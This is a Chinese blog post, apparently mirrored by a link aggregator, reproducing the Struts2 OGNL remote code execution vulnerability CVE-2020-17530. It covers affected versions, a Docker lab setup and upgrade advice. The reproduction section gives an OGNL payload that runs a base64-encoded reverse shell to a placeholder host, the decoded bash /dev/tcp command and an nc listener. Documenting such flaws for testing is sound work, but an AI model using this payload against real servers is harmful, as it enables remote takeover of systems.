CVE-2020-17530 Struts远程代码执行
source link: https://as1def.github.io/2020/12/28/CVE-2020-17530-Struts%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
CVE-2020-17530 Struts远程代码执行
发表于
2020-12-28 更新于 2021-04-02
阅读次数:
11
本文字数:
2.3k
阅读时长 ≈
2 分钟
CVE-2020-17530:Struts2远程代码执行漏洞
0x01 简介
2020年12月08日,360CERT监测发现 struts2
发布了 struts2 代码执行漏洞
的风险通告,该漏洞编号为 CVE-2020-17530
,漏洞等级:高危
,漏洞评分:7.5
。
在特定的环境下,远程攻击者通过构造 恶意的OGNL表达式
,可造成 任意代码执行
。
0x02 影响版本
Struts 2.0.0 – Struts 2.5.25
0x03 环境搭建
docker-compose.yml
version: '2' |
1、启动strusts 2.5.25环境
docker-compose up -d |
2、容器启动后,访问首页:
http://your_ip:8080/index.action |
0x04 漏洞详情
Struts在某些情况下可能存在OGNL表达式注入漏洞,如果开发人员使用了 %{…} 语法进行强制OGNL解析,某些特殊的TAG属性可能会被双重解析。攻击者可以通过构造恶意的OGNL表达式来利用此漏洞,最终造成远程代码执行。
0x05 漏洞复现
以POST方式发送如下数据包,而后进行反弹shell
POST /index.action HTTP/1.1 |
2、反弹shell部分
(#arglist.add("bash -c{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC95b3VyX2lwL3BvcnQgMD4mMQ==}|{base64,-d}|{bash,-i}")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")) |
base64部分为linux执行反弹shell的命令:
bash -i >& /dev/tcp/your_ip/port 0>&1 |
3、攻击机端口监听
nc -lvvp port |
发送数据包,反弹shell
0x06 防御措施
Struts 2.5.25以上版本不存在该漏洞,建议升级Struts 2版本。
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK